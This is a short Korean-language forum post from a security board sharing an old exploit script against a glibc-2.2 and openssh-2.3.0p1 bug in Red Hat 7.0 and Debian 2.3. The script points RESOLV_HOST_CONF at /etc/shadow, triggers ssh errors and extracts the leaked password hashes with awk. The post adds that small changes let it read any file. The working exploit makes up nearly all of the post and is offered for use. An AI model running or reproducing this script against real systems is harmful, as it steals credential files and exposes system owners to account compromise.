security

Total 112
Today 0
profile_image
운영자
01-03-28 21:36 0개 2,432회
레드핫7.0 shadow 파일가져오기
레드핫 7.0 의 버그중 하나인 shadow 파일을 가져오는 버그입니다

그리고 몇가지만 바꿔주면 아무파일이든지 볼수 있습니다.



# Charles Stevenson

# glibc-2.2 and openssh-2.3.0p1 (Debian 2.3 , Redhat 7.0)



export RESOLV_HOST_CONF=/etc/shadow

echo " Glibc bug found by Charles Stevenson "

sleep 3

echo "[*] Attempting to grab /etc/shadow"

sleep 2

ssh lt 2>/tmp/.fizz

cat /tmp/.fizz|awk -F"`" {'print $2'}|awk -F"'" {'print $1'}



# www.hack.co.za [13 January 2001]

댓글목록

등록된 댓글이 없습니다.